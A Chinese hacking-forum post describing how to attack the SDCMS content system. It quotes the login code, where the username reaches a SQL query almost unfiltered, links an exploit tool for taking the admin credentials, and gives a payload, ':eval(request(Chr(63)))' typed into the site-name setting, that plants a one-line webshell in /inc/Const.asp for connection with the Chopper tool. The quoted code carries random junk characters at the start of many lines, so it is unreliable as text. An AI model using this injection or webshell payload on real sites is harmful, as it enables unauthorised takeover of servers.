SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

Sub Check
- J( |. W( d' T2 F; I+ T  L    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
5 j' Q- N0 {0 n: w    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
* u6 y4 Y. q% f, b9 A8 k    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
) Y; N, N1 }  z/ d    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
% w5 a, c( ]* g    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
& u" s! Z& a/ h8 }5 X    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
7 E+ @+ A7 L% s7 x4 L    IF username="" or password="" Then
8 j4 f! U2 J. I9 z        Echo "用户名或密码不能为空"ied
    Else
. x9 \% t8 g. O0 G        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
6 J% O; g6 `9 O8 Q1 m            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
5 e) M1 q! c/ s: V; y            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
" @" }' q, }* S; c1 X  V            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
  a  l! @5 l! z: h" ?1 D) ~            AddLog username,GetIp,"登录成功",1
3 R9 S" T, }' h9 J8 ^. @            '自动删除30天前的Log记录
" S) C  B7 Q- t. Q! [            IF Sdcms_DataType Then
" p/ T3 o' \) ^0 N% q7 ~. E                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
: X3 T$ G5 A4 R# C            Else
1 X0 R: Q, \. c6 u6 W( v                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
" m' Z- m$ s, X' x5 L, Y            End IF
, a9 ^; f. @! {/ G, `7 J7 x2 q            Go("sdcms_index.asp")
        End IF
/ U. I) s0 l$ |  v3 T" R        Rs.Close
        Set Rs=Nothing
* u' O% o8 t$ u* i, G    End IF
0 h+ [7 s! A" U* X% IEnd Sub
- Z4 K" K+ d  {( f& X3 g: ~4 D
# ]& m( k9 L& g5 p’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

9 P( V* y6 T) M3 [Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
- i/ j1 z8 e; ~! K1 [8 V    t0=Trim(t0)
" v* }. Y/ L# k) }! j. S    Select Case t1
2 k# X2 Q' t* f) C. O  G5 _        Case "1"
            t0=Replace(t0,Chr(32),"")
. R' c* g( Z- K9 t0 a! j& `1 [            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
! @4 q" W1 i, H, z6 p            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
' k# _/ S6 I, W1 n0 d  G2 ~            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
0 Z: T# `* _* Z' P4 n0 R            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
9 O% [2 f( o- S/ i) \6 x            t0=Replace(t0,Chr(36),"")'$
" N! S1 v0 {- b  v. v( C+ o            t0=Replace(t0,Chr(37),"")'%
. i) k" v. d- ^8 \            t0=Replace(t0,Chr(38),"")'&
3 e* @" E/ ?! F! T" A            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
3 j' E( M* `/ B1 _* K1 |: t# c            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
7 ^8 |4 `* O0 c6 Q+ x5 L            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
! B' n4 t  N; Q8 s1 L4 J  d            t0=Replace(t0,Chr(46),"")'.
. n3 G: c9 v: ~            t0=Replace(t0,Chr(47),"")'/
1 X1 J9 i) n$ C  ^, r            t0=Replace(t0,Chr(58),"")':
8 B9 `: }9 z* b  d# R            t0=Replace(t0,Chr(59),"")';
# p* z3 p# S. [0 ?/ k* |            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
/ s0 R* H# D  S% y6 d            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
8 _  X$ c( U4 e' x            t0=Replace(t0,Chr(91),"")'\
9 D# D- s- B" F; H            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
7 |  u3 y% l$ D. u. I            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
: ]; Y1 S. W4 m& n& {$ @            t0=Replace(t0,Chr(126),"")'~
    Case Else
        t0=Replace(t0, "&", "&")
" i- p/ E9 f! H8 {) L) z+ F$ ~        t0=Replace(t0, "'", "'")
  a; o5 d, F: G        t0=Replace(t0, """", """)
% y* N1 P& _' B8 q  `9 d        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
+ Z* Q$ O  u; Y1 w/ z$ e. j2 Z        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
) ]# Q, R/ X8 v2 _: u    End If
    FilterText=t0
  ^5 w+ f) F2 |+ ]/ V! pEnd Function
6 {/ [. v9 r2 [3 Z; |6 F
( r+ r, p- Y! Z/ q- Y8 k9 G3 L: C6 k看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
2 M4 K1 n& M" e0 V( ?" L: P8 \+ ]8 B                        t0=Replace(t0,Chr(13),"")
$ p: J5 e$ Z1 a% Y                        t0=Replace(t0,Chr(10)&Chr(10),"
")
# ?3 V$ x; d3 @& O5 ]* F                        t0=Replace(t0,Chr(10),"
")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
& l9 H, }4 T; a2 H& P
4 y6 g; R# X2 y! A# F测试:
3 {, M, n5 {; M5 D- E  p9 q3 @

现在输入工具上验证码,然后点OK


看到我们直接进入后台管理界面了,呵呵!


3 C% n( s' }2 K! Q$ q
这样直接进入后台了。。。。
$ w: {9 M6 `7 K, ]2 A

5 e1 d5 M0 l  ]
SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
- B# A$ T3 I& ^; D* D! V6 N


1 K. ?+ a% {  h) t$ \, tOK,现在用菜刀连接下!

6 P( L9 [3 V8 {  S9 u

' w/ {4 }" y9 P1 S0 Q$ z4 u9 {